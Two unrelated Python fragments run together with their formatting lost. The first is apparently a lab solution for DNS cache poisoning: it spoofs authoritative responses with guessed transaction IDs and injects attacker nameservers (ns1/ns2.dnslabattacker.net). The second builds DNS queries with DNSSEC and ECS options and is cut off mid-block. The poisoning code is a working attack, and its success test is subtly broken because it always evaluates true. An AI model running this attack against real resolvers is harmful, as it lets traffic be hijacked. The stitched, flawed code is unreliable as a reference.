def exampleSendDNSQuery(): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) dnsPacket = DNS(rd=1, qd=DNSQR(qname='example.com')) sendPacket(sock, dnsPacket, my_ip, my_port) response = sock.recv(4096) response = DNS(response) print "\n***** Packet Received from Remote Server *****" print response.show() print "***** End of Remote Server Packet *****\n" #build fake site for fake DNS and response hack = True while hack: fakeSite = getRandomSubDomain() + ".example.com" dnsPacket.qd.qname = fakeSite response.qd.qname = fakeSite response.aa = 1 response.an.rrname = fakeSite response.an.rdata = "1.2.3.4" #if response.nscount != 2: # if response.nscount > 2: # for j in range(2,response.nscount): # response.ns[j].rdata = None # response.nscount = 2 response.ns[0].rdata = "ns1.dnslabattacker.net" response.ns[1].rdata = "ns2.dnslabattacker.net" response.ar = None response.arcount = 0 sendPacket(sock, dnsPacket, my_ip, my_port) for i in range(100): response.id = getRandomTXID() sendPacket(sock, response, my_ip, my_query_port) testPacket = DNS(rd=1, qd=DNSQR(qname='example.com')) sendPacket(sock, testPacket, my_ip, my_port) testResp = sock.recv(4096) testResp = DNS(testResp) if testResp.ns[0].rdata == "ns1.dnslabattacker.net" or "ns2.dnslabattacker.net": hack = False
for l in fd: try: l = l.strip().split(' ') if len(l) < 2: print("There's a faulty line: {}".format(str(l))) continue # Don't use 0 source port (sendto doesn't like it) and reserved ports # (Bind drops these 7, 13, 19, 37 and 464), rfc5452#section-4.5. rnd = random.randint(1024, 49152) msg = DNS(id=rnd, qdcount=1, qd=DNSQR(qname=l[0], qtype=l[1])) # Add optional DO bit. if dnssec_ratio == 1 or all_count * dnssec_ratio > dnssec_count: msg.arcount = 1 msg.ar = DNSRR(rrname='.', type=41, rclass=4096, ttl=0x8000) dnssec_count += 1 # Add optional ECS. if ecs_ratio == 1 or all_count * ecs_ratio > ecs_count: # If EDNS for DNSSEC was not already added, add OPT RR. if msg.arcount != 1: msg.arcount = 1 msg.ar = DNSRR(rrname='.', type=41, rclass=4096, ttl=0x0000) msg.ar.rdata = random.choice(ecs_list) ecs_count += 1 add_query(msg, rnd, target[all_count % modulo], macs[all_count % modulo]) except Exception as er: